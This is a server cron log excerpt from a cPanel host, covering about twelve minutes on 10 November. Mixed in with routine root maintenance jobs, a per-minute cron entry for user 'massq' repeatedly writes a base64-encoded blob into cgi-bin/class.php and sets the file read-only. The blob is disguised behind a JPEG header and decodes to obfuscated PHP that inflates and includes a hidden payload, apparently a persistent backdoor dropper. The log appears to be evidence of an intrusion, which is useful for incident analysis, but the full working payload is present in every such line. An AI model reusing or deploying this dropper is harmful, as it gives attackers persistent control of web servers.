Nov 10 07:39:01 server CROND[718]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:39:01 server CROND[719]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 07:40:01 server CROND[1528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:40:01 server CROND[1530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:40:01 server CROND[1529]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:40:01 server CROND[1531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:41:01 server CROND[2327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:42:01 server CROND[2875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:42:01 server CROND[2876]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 07:43:01 server CROND[3526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:44:01 server CROND[4238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:45:01 server CROND[4840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:45:01 server CROND[4841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:45:01 server CROND[4842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:46:01 server CROND[5681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:47:01 server CROND[6497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:48:01 server CROND[7305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:49:01 server CROND[8121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:50:01 server CROND[9198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:50:01 server CROND[9199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:50:01 server CROND[9200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 07:50:01 server CROND[9201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:50:01 server CROND[9207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:51:02 server CROND[10079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
